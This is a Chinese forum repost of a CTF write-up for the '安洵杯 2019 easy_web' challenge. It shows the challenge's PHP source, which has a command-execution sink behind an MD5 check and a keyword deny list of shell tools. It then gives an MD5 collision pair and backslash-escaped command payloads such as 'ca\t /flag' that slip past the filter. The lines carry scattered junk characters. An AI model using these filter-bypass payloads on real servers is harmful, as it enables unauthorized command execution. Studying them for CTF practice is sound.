飞雪团队

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 15666|回复: 0

[安洵杯 2019]easy_web

[复制链接]

8560

主题

8648

帖子

2万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
28010
发表于 2022-2-12 14:35:42 | 显示全部楼层 |阅读模式

/ C8 L" o/ K" }1 u5 [( y9 f6 s<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233053765-138473612.png" ></p>
9 m$ L& m" K2 `1 i( m: P- V& D<p>&nbsp;</p>
# ~& k" h0 l" r# j; y  t<p>&nbsp;</p>5 F" M! W+ h4 E$ c2 z
<p>&nbsp;题目打开如下,?img=TXpVek5UTTFNbVUzTURabE5qYz0&amp;cmd=,同时查看源代码</p>- h* J( d) @. A) c8 C* x# T
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233545495-732796719.png" ></p>
* j: K3 v5 \$ r  H<p>&nbsp;</p>2 l, a5 B2 l! Q! m3 I, J: E6 B
<p>&nbsp;</p>
- s- F" |0 S$ h  @2 P* D<p>这里有个MD5 is funny,说明这个题目大概率跟MD5有关</p>
( [3 w/ C" w1 i. Q3 [<p>然后我抓包了一下,消息头里面没有什么特殊的东西,于是我尝试从url入手</p>/ b# u6 V8 {% Z8 i/ f( I0 j
<p>首先把那个进行一次base64位解码</p>
8 t' U' f; U" B0 E6 G: `) ~/ f' c<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234007573-1082134416.png" ></p>
$ D0 n9 S# M  }& j" Z<p>&nbsp;</p>
9 a7 I, c, P' R% L4 M, y- z8 e<p>&nbsp;</p>. |( a* P$ ~4 ~0 |0 g
<p>&nbsp;解码一次以后还是很像base64编码,于是又解码一次</p>
4 C3 x! u8 |* p8 s7 ?2 K<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234057439-916556800.png" ></p>
2 R1 L4 F6 X- \5 Z5 a9 x<p>&nbsp;</p>
! s0 p/ o( W7 q<p>&nbsp;</p>
3 N& M: t4 j$ W$ ]3 E5 j* m3 V, w: J<p>&nbsp;然后用hex解码一下得到了</p>3 A4 _* n1 S, l! {+ h3 ]4 O
<div class="cnblogs_Highlighter">
* C. X# i6 {- ?9 _9 k0 L" Q; ?8 w9 z, i<pre class="brush:sql;gutter:true;">555.png  r. |2 E2 F) R7 _3 ~
</pre>! a& f$ x1 [' w, ?0 H2 G/ V# c& M
</div>& l7 J. |$ b  C2 b7 G9 }
<p>  用同样的方法把index.php进行加密</p>" t" {1 b8 i9 X/ K! ^- Q+ P
<div class="cnblogs_Highlighter">
/ V6 g& r8 _2 ~& |% o% z- M<pre class="brush:sql;gutter:true;">TmprMlpUWTBOalUzT0RKbE56QTJPRGN3& \. y# w# P9 v5 X
</pre>0 q6 C6 }% K, [$ P
</div>
& Q8 \* t( ~; Y1 p% w( p. g<p>  然后输入到地址栏</p>' c' x* }/ \0 k3 z8 a
<p>&nbsp;然后查看源代码,把源代码里面的那一串base64的编码解码</p>
0 p, c  d9 J2 F3 e<div class="cnblogs_code">
' P5 A+ [/ w: v4 u<pre>&lt;?<span style="color: rgba(0, 0, 0, 1)">php9 J$ j9 B/ L6 e* w$ q$ r  ^
</span><span style="color: rgba(0, 128, 128, 1)">error_reporting</span>(<span style="color: rgba(255, 0, 255, 1)">E_ALL</span> || ~ <span style="color: rgba(255, 0, 255, 1)">E_NOTICE</span><span style="color: rgba(0, 0, 0, 1)">);' A! B$ W5 x. z, M
</span><span style="color: rgba(0, 128, 128, 1)">header</span>('content-type:text/html;charset=utf-8'<span style="color: rgba(0, 0, 0, 1)">);' x0 o% B% @2 u2 [8 X* i# ~0 @
</span><span style="color: rgba(128, 0, 128, 1)">$cmd</span> = <span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">];
- s/ p2 x7 h( o, f1 l; Y1 ^2 i</span><span style="color: rgba(0, 0, 255, 1)">if</span> (!<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img']) || !<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">])) ( w, B/ F) c+ J8 T+ c
    </span><span style="color: rgba(0, 128, 128, 1)">header</span>('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&amp;cmd='<span style="color: rgba(0, 0, 0, 1)">);
" s2 Q6 ~+ D5 ^# t9 E</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = hex2bin(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img'<span style="color: rgba(0, 0, 0, 1)">])));. x% X5 D$ n8 U9 B; }5 ~
+ s$ G' Z* U; M1 o3 b  C! B8 t
</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = <span style="color: rgba(0, 128, 128, 1)">preg_replace</span>("/[^a-zA-Z0-9.]+/", "", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">);( b# t2 f' V( r/ M; f
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/flag/i", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">)) {9 i' J$ K, @  @, c' S
    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> '&lt;img src ="./ctf3.jpeg"&gt;'<span style="color: rgba(0, 0, 0, 1)">;: K2 p$ T( u4 }. a
    </span><span style="color: rgba(0, 0, 255, 1)">die</span>("xixi~ no flag"<span style="color: rgba(0, 0, 0, 1)">);
+ A3 s; p( K9 }3 c+ Y) p9 o} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
7 j! G  B! c  b! e2 r; L    </span><span style="color: rgba(128, 0, 128, 1)">$txt</span> = <span style="color: rgba(0, 128, 128, 1)">base64_encode</span>(<span style="color: rgba(0, 128, 128, 1)">file_get_contents</span>(<span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">));
' A4 [  Y# a* o5 h: h; n    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;img src='data:image/gif;base64," . <span style="color: rgba(128, 0, 128, 1)">$txt</span> . "'&gt;&lt;/img&gt;"<span style="color: rgba(0, 0, 0, 1)">;  M7 H" X$ S- E8 Q
    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;br&gt;"<span style="color: rgba(0, 0, 0, 1)">;4 ]- Q+ o$ C  |- B" J/ e
}
8 m* y  R/ |# Q- ^' t</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">;/ K4 l7 T1 Z- T- ]( Y" h
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;br&gt;"<span style="color: rgba(0, 0, 0, 1)">;1 [: y4 M) h' v# ?8 B9 ]1 \
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&amp;[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|&lt;|&gt;/i", <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">)) {4 J1 D5 G0 z& j: Q- a
    </span><span style="color: rgba(0, 0, 255, 1)">echo</span>("forbid ~"<span style="color: rgba(0, 0, 0, 1)">);1 N; s9 H5 L7 y9 k1 i6 H# Z4 Z
    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;br&gt;"<span style="color: rgba(0, 0, 0, 1)">;( l5 p. f  |9 @+ D* v& [8 l9 D
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {; z" _/ o8 c$ h; p1 [+ Z4 m
    </span><span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] &amp;&amp; <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {
: I+ \9 m' f7 A        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;" W5 {) x4 U3 a
    } </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
2 N5 T& M% i3 T3 m        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);
) e6 z! J- B1 A; E1 l" J    }6 q% Q: _+ A8 L0 A
}
6 v4 W4 `0 `+ Y; k! g3 t, M( |  a: D  b& `, H
</span>?&gt;- [3 @) f) i: n% T, j0 |
&lt;html&gt;2 T  z" P9 b) A( M* E
&lt;style&gt;<span style="color: rgba(0, 0, 0, 1)">, O  S" U5 G3 x  y7 J5 F
  body{
; e  T% l3 s$ D   background</span>:url(./bj.png)  no-<span style="color: rgba(0, 0, 0, 1)">repeat center center;1 Z8 N; A) w5 b/ x8 J8 X
   background</span>-size:<span style="color: rgba(0, 0, 0, 1)">cover;- D; _( r' [; J8 L6 X/ c) c
   background</span>-attachment:<span style="color: rgba(0, 0, 0, 1)">fixed;
- d) Y4 }" Q: [4 j   background</span>-color:<span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">CCCCCC;</span>
7 |5 [3 g8 T3 q- U6 z- p( r+ i  _<span style="color: rgba(0, 0, 0, 1)">}: r* h1 ~2 g, m, K
</span>&lt;/style&gt;
  P7 e  I. f) e) O&lt;body&gt;
; g1 o5 I* z  X3 B( L6 N&lt;/body&gt;7 M8 j6 x( U. O8 M
&lt;/html&gt;</pre>
! x0 k2 j) u) i& J5 f</div>
7 R; D' b6 ^( g) F6 k7 E- z* d<p>结合前面的推断,关键代码就在</p>
  j; O8 V- W4 K, g% h<div class="cnblogs_code">
1 W  F$ J+ c2 f1 k' M$ {<pre>    <span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] &amp;&amp; <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {# c$ N4 n& J! N
        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;
% V# O: ^9 k6 ~, ~* ]6 m    } </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {7 {7 p$ `: S  f0 a, l
        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);8 K: a- Z. v9 r$ X
    }</span></pre>
/ @8 L& T$ D8 \! m, N</div>
( v; Z/ o8 s; M0 k! m<p>这种MD5是md5强碰撞</p>9 e- v0 n9 D. {
<div class="cnblogs_Highlighter">" P/ @+ K, b/ O4 K1 `- ~, @3 D
<pre class="brush:sql;gutter:true;">a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2( E" X$ m# ~  }: g5 b+ ?2 G) d2 n
</pre>
8 J3 m7 B/ j& k: c! f- B8 n</div>- A2 t" R# K; g: h- ], m  Q
<div class="cnblogs_Highlighter">, z$ n# ]' G5 H. T- n
<pre class="brush:sql;gutter:true;">b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a27 E7 o# x  I7 Y' }
</pre>  f8 I" |) b+ V
</div>, m) c3 v5 M$ U' e7 m4 }' P$ {( k) K
<p>  只需要这样就可以把cmd里面的当成命令来处理。</p>' n" p1 ]# I1 i; u
<p>于是采用payload:</p>
/ p  R' _4 }/ F3 O4 M0 S9 \/ _<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211235254110-1699040750.png" ></p>6 P3 `6 c9 z4 v* \% S6 A# n
<p>&nbsp;</p>
% ^: s9 p8 r( F* J( U, |<p>&nbsp;因为'\'并没有被屏蔽所以可以这么绕过</p>
5 J4 k* w' \+ Y0 P<p>ls和l\s在命令执行的时候结果是一样的。</p>- S; D( l: T7 f; w! G/ }
<p>然后发现根目录里面有/flag</p>+ k. j7 ~% K) [! y
<p>于是payload:</p>3 J9 c6 ~# e* I+ J
<div class="cnblogs_Highlighter">
) y9 v+ b6 ?! E& o* V& {- s4 A! l* I; \<pre class="brush:sql;gutter:true;">?cmd=ca\t%20/flag; D9 D7 |% H9 o
</pre>
" n; J' T: ?' b: t9 L</div>. `1 `# R3 P6 }* i
<p>  对于这个题目,因为他没有屏蔽sort和dir</p>( P& P: k7 f+ z  A( b& P$ y) u
<p>所以查看也可以用dir来代替ls,cat可以用sort来代替。</p>
4 A0 p1 x' k' `; e2 c( H: [" l& ?  v  ]<p>&nbsp;</p>
. X) \  F# U+ d  u+ S# a1 F
回复

使用道具 举报

懒得打字嘛,点击右侧快捷回复 【右侧内容,后台自定义】
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|飞雪团队

GMT+8, 2026-4-13 01:39 , Processed in 0.115287 second(s), 22 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表